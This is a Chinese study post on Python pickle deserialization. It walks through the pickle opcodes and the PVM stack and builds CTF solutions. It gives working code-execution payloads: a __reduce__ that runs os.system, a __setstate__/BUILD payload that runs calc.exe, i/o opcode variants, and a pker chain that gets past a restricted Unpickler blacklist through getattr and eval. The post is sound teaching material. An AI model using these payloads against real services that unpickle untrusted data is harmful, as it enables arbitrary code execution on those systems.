python反序列化学习记录
pickle与序列化和反序列化
模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化。 "pickling" 是将 Python 对象及其所拥有的层次结构转化为一个字节流的过程,而 "unpickling" 是相反的操作,会将(来自一个 binary file 或者 bytes-like object 的)字节流转化回一个对象层次结构。 pickling(和 unpickling)也被称为“序列化”, “编组” 或者 “平面化”。而为了避免混乱,此处采用术语 “封存 (pickling)” 和 “解封 (unpickling)”。
pickle.dumps(object)
:用于序列化一个对象pickle.loads(picklestring)
:用于反序列化数据,实现一个对象的构建
测试代码:
#python3.7
import pickle
class test_1():
def __init__(self):
self.name = 'LH'
self.age = 20
class test_2():
name = 'LH'
age = 20
test1 = test_1()
a_1 = pickle.dumps(test1)
test2 = test_2()
a_2 = pickle.dumps(test2)
print("test_1序列化结果:")
print(a_1)
print("test_2序列化结果:")
print(a_2)
b_1 = pickle.loads(a_1)
b_2 = pickle.loads(a_2)
print("test_1反序列化结果:")
print(b_1.name)
print(b_1.age)
print("test_2反序列化结果:")
print(b_2.name)
print(b_2.age)
运行结果:
可以看到序列化结果长短不同,这是因为待处理的类里面有无__init__
造成的,test_2类没有使用__init__
所以序列化结果并没有涉及到name
和age
。但是反序列化之后仍然可以得到对应的属性值。
另外:如果在反序列化生成一个对象以前删除了这个对象对应的类,那么我们在反序列化的过程中因为对象在当前的运行环境中没有找到这个类就会报错,从而反序列化失败。
__reduce__()
类似于PHP中的__wakeup__
魔法函数。如果当__reduce__
返回值为一个元组(2到5个参数),第一个参数是可调用(callable)的对象,第二个是该对象所需的参数元组。在这种情况下,反序列化时会自动执行__reduce__里面的操作。
测试代码:
#python3.7
import os
import pickle
class A():
def __reduce__(self):
cmd = "whoami"
return (os.system,(cmd,))
a=A()
str=pickle.dumps(a)
pickle.loads(str)
运行结果:
现在把关注点放在序列化数据,以及如何根据序列化数据实现反序列化。
指定protocol
pickle.dumps(object)
在生成序列化数据时可以指定protocol参数,其取值包括:
- 当protocol=0时,序列化之后的数据流是可读的(ASCII码)
- 当protocol=3时,为python3的默认protocol值,序列化之后的数据流是hex码
更改代码:
#python3.7
import os
import pickle
class A():
def __reduce__(self):
cmd = "whoami"
return (os.system,(cmd,))
a=A()
str=pickle.dumps(a,protocol=0)
print(str)
print(str.decode()) #将byte类型转化为string类型
运行结果:
不了解pickle
的相关指令的话,以上序列化结果根本看不懂:
pickle
相关的指令码与作用:
这里注意到R
操作码,执行了可调用对象,可知它其实就是__reduce__()
的底层实现。
其他指令可以在python的lib文件下的pickle.py查看:
对运行结果分解:
涉及到指令码,可以把pickle理解成一门栈语言:
- pickle解析依靠Pickle Virtual Machine (PVM)进行。
- PVM涉及到三个部分:1. 解析引擎 2. 栈 3. 内存:
- 解析引擎:从流中读取指令码和参数,并对其进行解释处理。重复这个动作,直到遇到
.
停止。最终留在栈顶的值将被作为反序列化对象返回 - 栈:由Python的list实现,被用来临时存储数据、参数以及对象
- memo列表:由Python的dict实现,为PVM的生命周期提供存储数据的作用,以便后来的使用
- 解析引擎:从流中读取指令码和参数,并对其进行解释处理。重复这个动作,直到遇到
结合上面的指令码与作用,可以分析出具体的过程。
具体过程
首先是:
cnt
system
也即引入nt.system
,这里的nt
是模块os
的名称name
,os.name
在不同环境对应的值不同:
Windows下为nt
:
Linux下为posix
:
posix
是 Portable Operating System Interface of UNIX
(可移植操作系统接口)的缩写。Linux 和 Mac OS 均会返回该值。
然后再执行p0
,将栈顶内容写入到列表中,由于是列表第一个数据因此索引为0:
接下去执行(Vwhoami
,(
是将一个标志位MASK压入栈中,Vwhoami
就是将字符串“whoami”压入栈中:
接下去执行p1
,将栈顶数据"whoami"写入列表,索引为1:
再执行tp2
,首先栈弹出从栈顶到MASK标志位的数据,将其转化为元组类型,然后再压入栈。最后p2
将栈顶数据(也即元组)写入列表,索引为2:
再执行Rp3
,先将之前压入栈中的元组和可调用对象全部弹出然后执行,这里也即执行nt.system("whoami")
,接着将结果压入栈。最后p3
将栈顶数据(也即执行结果)写入列表,索引为3:
总的过程如下:
由于memo列表只是起到一个存储数据的作用,如果目的只是想要执行nt.system("whoami")
,可以将原序列化数据中有关写入列表的操作给去除。也即原b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'
可简化为b'cnt\nsystem\n(Vwhoami\ntR.'
,仍然是可以达到执行目的的:
pickletools模块
官方说明:
此模块包含与 pickle 模块内部细节有关的多个常量,一些关于具体实现的详细注释,以及一些能够分析封存数据的有用函数。 此模块的内容对需要操作 pickle 的 Python 核心开发者来说很有用处;pickle 的一般用户则可能会感觉 pickletools 模块与他们无关。
相关接口:
pickletools.dis(picklestring)
:可以更方便的看到每一步的操作原理。如上面的例子执行该方法:
pickletools.optimize(picklestring)
:
消除未使用的 PUT 操作码之后返回一个新的等效 pickle 字符串。 优化后的 pickle 将更为简短,耗费更为的传输时间,要求更少的存储空间并能更高效地解封。也即上面分析能够经过简化的过程:
测试代码:
#python3.7
import pickle
import pickle
import pickletools
class person():
def __init__(self, name, age):
self.name = name
self.age = age
me = person('LH', 20)
str = pickle.dumps(me)
print(str)
pickletools.dis(str)
运行结果:
b'\x80\x03c__main__\nperson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x02\x00\x00\x00LHq\x04X\x03\x00\x00\x00ageq\x05K\x14ub.'
0: \x80 PROTO 3
2: c GLOBAL '__main__ person'
19: q BINPUT 0
21: ) EMPTY_TUPLE
22: \x81 NEWOBJ
23: q BINPUT 1
25: } EMPTY_DICT
26: q BINPUT 2
28: ( MARK
29: X BINUNICODE 'name'
38: q BINPUT 3
40: X BINUNICODE 'LH'
47: q BINPUT 4
49: X BINUNICODE 'age'
57: q BINPUT 5
59: K BININT1 20
61: u SETITEMS (MARK at 28)
62: b BUILD
63: . STOP
highest protocol among opcodes = 2
对str
使用pickle.optimize
进行简化:
>>>str=b'\x80\x03c__main__\nperson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x02\x00\x00\x00LHq\x04X\x03\x00\x00\x00ageq\x05K\x14ub.'
>>>pickletools.optimize(str)
>>>b'\x80\x03c__main__\nperson\n)\x81}(X\x04\x00\x00\x00nameX\x02\x00\x00\x00LHX\x03\x00\x00\x00ageK\x14ub.'
应用
修改刚才源码:
#python3.7
import base64
import pickle
import otherpeople
class person():
def __init__(self, name, age):
self.name = name
self.age = age
me=pickle.loads(base64.b64decode(input()))
if otherpeople.name==me.name and otherpeople.age==me.age:
print("flag")
else:
print("hack")
同目录下新建otherpeople文件夹,写入__init.py__用于新建一个模板:
name = 'Dr.liu'
age = 21
要求我们输入待反序列化的数据,使得反序列化之后为person
类的一个对象me
,如果me.name
与me.age
分别等于otherpeople
模板的name
和age
,才能得到flag。如果把刚才的序列化数据中的LH
和20
改成模板中的Dr.liu
和21
则能实现:
第二个hex码对应是字符串的长度,十六进制的14对应为十进制20
但是此时我们并不知道otherpeople
模板的内容,所以并不能实现。
根据前面的例子可知,引用模块在pickle
中对应的操作码是c
,所以可以根据其书写规则得到otherpeople.name
和otherpeople.age
对应的序列化数据是cotherpeople\nname\n
和cotherpeople\nage\n
,将原数据进行替换:
再对替换的结果进行base64编码:
>>>import base64
>>>base64.b64encode(b'\x80\x03c__main__\nperson\n)\x81}(X\x04\x00\x00\x00namecotherpeople\nname\nX\x03\x00\x00\x00agecotherpeople\nage\nub.')
>>>b'gANjX19tYWluX18KcGVyc29uCimBfShYBAAAAG5hbWVjb3RoZXJwZW9wbGUKbmFtZQpYAwAAAGFnZWNvdGhlcnBlb3BsZQphZ2UKdWIu'
验证:
限制module
pickle
源码中,c指令是基于find_class
这个方法实现的,然而find_class
可以被出题人重写。如果出题人只允许c指令包含__main__
这一个module、不允许导入其他module,也即刚才的cotherpeople
被限制了。此时又该如何绕过呢?
回到刚才的测试代码的运行结果,发现pickle
是构建person
的过程是完全可视的,而且是在__main__
这个module进行构建的:
那么就可以根据pickle语法,插入一段数据,这段数据用于在__main__
中构建一个otherpeople
对象,此时otherpeople.name
和otherpeople.age
也是可控的,这样我们就可以覆盖掉原本未知的Dr.liu
和21
,只需确保和person.name
和person.age
相等即可。
先放出示意图:
解释一下恶意插入的序列化数据:
b'c__main__\notherpeople\n}(Vname\nVsunxiaokong\nVage\nK\x16ub0'
1、首先类比构建person
对象时的语法:c__main__\notherpeople\n}
2、接下去(
操作码表示将压入一个元组到栈中,V
操作码表示跟在它后面的数据是一个字符串,K
操作码表示跟在它后面的数据是一个整型数字,Vname\nVsunxiaokong\nVage\nK\x16
表示的元组为:{'name':'sunxiaokong','age':22}
3、然后u
操作码规定了即将构建的对象的界限,b
操作码用于构造对象
4、0
操作码将该对象(栈顶元素)从栈弹出
经过上面的操作此时otherpeople.name='sunxiaokong'
、otherpeople.age=22
,因此后半段person
中相应的属性也应该改成相同的值:
X\x04\x00\x00\x00nameX\x0b\x00\x00\x00sunxiaokongX\x03\x00\x00\x00ageK\x16
验证:
>>>base64.b64encode(b'\x80\x03c__main__\notherpeople\n}(Vname\nVsunxiaokong\nVage\nK\x16ub0c__main__\nperson\n)\x81}(X\x04\x00\x00\x00nameX\x0b\x00\x00\x00sunxiaokongX\x03\x00\x00\x00ageK\x16ub.')
b'gANjX19tYWluX18Kb3RoZXJwZW9wbGUKfShWbmFtZQpWc3VueGlhb2tvbmcKVmFnZQpLFnViMGNfX21haW5fXwpwZXJzb24KKYF9KFgEAAAAbmFtZVgLAAAAc3VueGlhb2tvbmdYAwAAAGFnZUsWdWIu'
以上思路也是“2020高校战疫”webtmp的解题思路
限制__reduce()__
如果限制__reduce()__
,需要另外一个知识点:
关注操作码b
:
跟进到load_build
函数:
def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None) #获取inst的__setstate__方法
if setstate is not None:
setstate(state)
return
slotstate = None
if isinstance(state, tuple) and len(state) == 2:
state, slotstate = state
if state:
inst_dict = inst.__dict__
intern = sys.intern
for k, v in state.items():
if type(k) is str:
inst_dict[intern(k)] = v
else:
inst_dict[k] = v
if slotstate:
for k, v in slotstate.items():
setattr(inst, k, v)
dispatch[BUILD[0]] = load_build
把当前栈栈顶数据记为state
,然后弹出,再把接下去的栈顶数据记为inst
关注到第七行的setstate(state)
,这意味着可以RCE,但是inst
原先是没有__setstate__
这个方法的。可以利用{‘__setstate__
’: os.system
}来BUILD这个对象,那么现在inst
的__setstate__
方法就变成了os.system
;另外再确保state
也即一开始的栈顶元素为calc.exe
,则会执行setstate(“calc.exe”)
,也即os.system("calc.exe")
。
上面的操作对应的payload如下:
b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.'
验证代码:
import os
import pickle
import pickletools
class A():
#balabala·····
str=b'\x80\x03c__main__\nA\n)\x81}(V__setstate__\ncos\nsystem\nubVcalc.exe\nb.'
pickle.loads(str)
除了操作码b
可以利用外,还有i
和o
操作码可以实现RCE:
b'(S\'whoami\'\nios\nsystem\n.'
b'(cos\nsystem\nS\'whoami\'\no.'
payload的构造可以参照对应的作用:
工具pker
借助该工具,可以省去人工构造payload,根据自己的相关需求可以自动生成相应的序列化数据。
pker主要用到GLOBAL、INST、OBJ三种特殊的函数以及一些必要的转换方式:
- GLOBAL :用来获取module下的一个全局对象,对应操作码
c
,如GLOBAL('os', 'system')
- INST :建立并入栈一个对象(可以执行一个函数),对应操作码
i
,如INST('os','system','ls')
,输入规则按照:module,callable,para
- OBJ :建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数),对应操作码
o
。 如OBJ(GLOBAL('os','system'),'ls')
,输入规则按照:callable,para
- xxx(xx,...): 使用参数xx调用函数xxx,对应操作码
R
- li[0]=321或globals_dic['local_var']='hello' :更新列表或字典的某项的值,对应操作码
s
- xx.attr=123:对xx对象进行属性设置,对应操作码
b
- return :出栈,对应操作码
0
使用例子:
1、用于执行os.system("whoami")
:
s='whoami'
system = GLOBAL('os', 'system')
system(s) # b'R'调用 return
2、全局变量覆盖举例:
secret=GLOBAL('__main__', 'secret')
secret.name='1'
secret.category='2'
以刚刚上面那道只允许引入__main__
模块的变量覆盖为例,对应的pker代码:
otherpeople = GLOBAL('__main__','otherpeople')
otherpeople.name = 'sunxiaokong'
otherpeople.age = 22
new = INST('__main__', 'person','sunxiaokong',20)
return new
Code-Breaking picklecode
import pickle
import base64
import builtins
import io
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
restricted_loads(base64.b64decode(input()))
代码的主要内容就是限制了反序列化的内容,规定了我们只能引用builtins
这个模块,而且禁止了里面的一些函数。但是没有禁止getattr
这个方法,因此我们可以构造builtins.getattr(builtins,’eval’)
的方法来构造eval
函数。pickle不能直接获取builtins
一级模块,但可以通过builtins.globals()
获得builtins
;这样就可以执行任意代码了。
用pker构造payload:
#先借助builtins.globals获取builtins模块
getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dic=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dic,'builtins')
#再用builtins模块获取eval函数
eval=getattr(builtins,'eval')
eval('ls')
return
python反序列化学习记录的更多相关文章
- Python爬虫学习记录【内附代码、详细步骤】
引言: 昨天在网易云课堂自学了<Python网络爬虫实战>,视频链接 老师讲的很清晰,跟着实践一遍就能掌握爬虫基础了,强烈推荐! 另外,在网上看到一位学友整理的课程记录,非常详细,可以优先 ...
- python爬虫学习记录
爬虫基础 urllib,urllib2,re都是python自带的模块 urllib,urllib2区别是urllib2可以接受一个Request类的实例来设置url请求的headers,即可以模拟浏 ...
- 简明 Python 教程--学习记录
注意,我们在print语句的结尾使用了一个 逗号 来消除每个print语句自动打印的换行符.这样做有点难看,不过确实简单有效. print # prints a blank line 注意,没有返回值 ...
- python numpy学习记录
numpy是一个python和矩阵相关的库,在机器学习中非常有用,记录下numpy的基本用法 numpy的数组类叫做ndarray也叫做数组,跟python标准库中的array.array不同,后者只 ...
- weblogic-CVE-2020-2551-IIOP反序列化学习记录
CORBA: 具体的对CORBA的介绍安全客这篇文章https://www.anquanke.com/post/id/199227说的很详细,但是完全记住是不可能的,我觉得读完它要弄清以下几个点: 1 ...
- python多线程学习记录
1.多线程的创建 import threading t = t.theading.Thread(target, args--) t.SetDeamon(True)//设置为守护进程 t.start() ...
- Python tkinter 学习记录(一) --label 与 button
最简的形式 from tkinter import * root = Tk() # 创建一个Tk实例 root.wm_title("标题") # 修改标题 root.mainloo ...
- python爬虫学习记录——各种软件/库的安装
Ubuntu18.04安装python3-pip 1.apt-get update更新源 2,ubuntu18.04默认安装了python3,但是pip没有安装,安装命令:apt install py ...
- Python正则表达式学习记录
常用的命令: http://www.runoob.com/python/python-reg-expressions.html 使用中相关注意问题: 1. 中括号里的表示从N到M需要用横线‘-’, 而 ...
随机推荐
- 关于取表中id最大值+1的select语句,哪种效率更高?
需求:取stock表中id最大值+1,作为下一个id值. 特殊情况:考虑到表中会没有值,max(id)会返回空,因此需要用case when进行判断. 实现一:select (case max(id) ...
- Zookeeper源码解读
1.1. 客户端源码 1.1.1. 总体流程 启动客户端 zkCli.sh文件里面的配置 实际运行 public static void main(String args[]) throws Keep ...
- leetcode刷题-94二叉树的中序遍历
题目 给定一个二叉树,返回它的中序 遍历. 实现 # def __init__(self, x): # self.val = x # self.left = None # self.right = N ...
- pwnable.kr之leg
查看原题代码: #include <stdio.h> #include <fcntl.h> int key1(){ asm("mov r3, pc\n"); ...
- 阿里云短信服务验证码封装类 - PHP
本文记录在ThinkPHP6.0中使用阿里云短信验证码,该封装类不仅仅局限于TP,拿来即用 使用该类之前必须引入 flc/dysms 扩展,该封装类就是基于这个扩展写的 composer requir ...
- pyhton:操作redis
一.redis介绍 redis是一种非关系型数据库:没有表结构,没有字段,没有sql语句.只是用get获取数据,set插数据,类似字典.比如mangodb,redis redis的数据全存在内存,re ...
- SpringCloud实战 | 第二篇:SpringCloud整合Nacos实现注册中心
前言 随着eureka的停止更新,如果同时实现注册中心和配置中心需要SpringCloud Eureka和SpringCloud Config两个组件;配置修改刷新时需要SpringCloud Bus ...
- 预科班D2
2020.09.08星期二 预科班D2 学习内容: 一.复习 1.平台: 平台=操作系统+计算机硬件 2.跨平台性 3.文件 文件是指操作系统提供给上层使用者操作硬盘的一种功能.
- 没使用Spring Cloud的版本管理导致Eureka服务无法注册到Eureka服务注册中心
创建了一个Eureka Server的服务注册集群(两个Eureka服务),都能相互注册,写了一个Eureka客户端服务无法注册到服务发现注册中心 注册中心1: 注册中心2: 服务正常: pom依赖文 ...
- PS01
基础学习:PS 平面设计:海报 影楼后期:婚纱照精修 UI设计: AI:是矢量图处理软件 矢量图:放大缩小后不会失真 使用方向:包装盒设计,logo设计,名片 ID使用方向:画册